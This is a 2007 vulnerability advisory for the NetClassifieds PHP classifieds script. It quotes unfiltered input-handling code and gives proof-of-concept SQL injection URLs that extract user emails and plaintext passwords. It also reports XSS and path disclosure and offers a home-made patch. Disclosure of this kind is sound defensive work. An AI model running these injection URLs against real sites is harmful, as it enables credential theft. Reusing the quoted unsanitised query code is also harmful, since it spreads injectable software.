NetClassifieds [multiple vulnerabilities]

2007.06.26
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

Application: NetClassifieds version: -Free Edition -Standard Edition -Professional Edition -Premium Edition Web Site: http://www.scriptdevelopers.net/ Versions: all Platform: linux, windows Bug: multiple injection sql , xss , full path Fix Available: Yes ------------------------------------------------------- 1) Introduction 2) Bug 3) The Code 4) Proof of concept 5) Fix 6)Conclusion =========== 1) Introduction =========== "NetClassifieds Premium Edition has been built on the premise of making every classifieds site feel like it was custom written for the purpose for which it's being used. Automotive Sites, Horse Sites, Reality Sites, General Classifieds Sites or any other type of classifieds site you can think of will find a perfect match in NetClassifieds" ====== 2) Bug ====== injection sql , xss , full path =============== 3) Vulnerable code: =============== in Common.php line 310: function CCStrip($value) { if(get_magic_quotes_gpc() == 0) return $value; else return stripslashes($value); // ==> wtf... 0-o } ligne 350: function CCGetFromPost($parameter_name, $default_value) { global $HTTP_POST_VARS; $parameter_value = ""; if(isset($HTTP_POST_VARS[$parameter_name])) $parameter_value = CCStrip($HTTP_POST_VARS[$parameter_name]); else $parameter_value = $default_value; return $parameter_value; } line 365: function CCGetFromGet($parameter_name, $default_value) { global $HTTP_GET_VARS; $parameter_value = ""; if(isset($HTTP_GET_VARS[$parameter_name])) $parameter_value = CCStrip($HTTP_GET_VARS[$parameter_name]); else $parameter_value = $default_value; return $parameter_value; } nothing is filtred .... let's see how it goes in viewcat.php: line 63: include(RelativePath . "/Common.php"); line 519: $this->ds->Parameters["urlCatID"] = CCGetFromGet("CatID", ""); line 909: $catdb1 = new clsDBNetConnect; $catdb1->connect(); $newSQL1 = "SELECT cat_id FROM categories WHERE sub_cat_id='" . CCGetFromGet("CatID", "") . "'"; $incat = "'" . CCGetFromGet("CatID", "") . "'"; I wont past every line of this code , because EVERY parameter is vulnerable to sql injection , XSS , full path ... ===== 4)proof of concept ===== exemple of exploitation : 1) http://site.com/ViewCat.php?CatID=-8+union+select+1,email,3+from+users/* ==> ( Database error: Invalid SQL: SELECT name, sub_cat_id, cat_id FROM categories WHERE cat_id=username (at) mail (dot) com [email concealed] ) 2)http://site.com/ViewCat.php?s_user_id='+union+select+user_password+fro m+users+where%20user_id=1/* ==> The value in field urls_user_id is not valid. (passwd_PLAIN_TEXT) // there's absolutly no encryption in this script for stored password , or sensitive data ... every input are vulnerable to XSS attacks ( there's maybe 40 inputs ... ) via mysql errors , php error , and via various unfiltred forms . ps: depending of the version , the number of column change , but it's coded on the same way ... ===== 5) Fix ===== scriptdevelopers has been advised , i dont think they will release any patch at the moment . here's my "patch" : 1) in Common.php: line 30 : ADD: ini_set(display_errors,"0"); ( in a production mode , no one needs to know your errors .. and this avoid xss via php error ) ligne 350: function CCGetFromPost // for every POST request avant : return $parameter_value; apres : return preg_replace('/[^a-z0-9]/i', '', $parameter_value); //only 0 to 9 and a to z caracters allowed line 365: function CCGetFromGet // for every GET request replace : return $parameter_value; BY return preg_replace('/[^a-z0-9]/i', '', $parameter_value); 2) in Mysql_db.php line 52 : var $Halt_On_Error = "yes"; ## "yes" (halt with message), "no" (ignore errors quietly), "report" (ignore errror, but spit a warning) set the value at "no" ( by default it's yes ) this will avoid juicy errors , such as table name and the complete query 3) imageresizer.php line 2: ADD : ini_set(display_errors,"0"); ( same reason as Common.php ) line 100 : replace : echo("<hr color='red'><font color='red'><b>$msg</b></font><br> file=<b>".__FILE__."</b><hr color='red'>") BY echo("<hr color='red'><font color='red'><b>error while processing your request</b></font><br> <b></b><hr color='red'>"); ".__FILE__." show the full path, no one need to know where is located your script on the server . and usually a full path give the username for the ftp , or cpanel . ( /directory/your_user/www/file.php ) ===== 5) Conclusion ===== This script has not been develloped in a secure way, and it's really dangerous to use it UNPATCHED regards laurent gaffi contact : laurent.gaffie (at) gmail (dot) com [email concealed]


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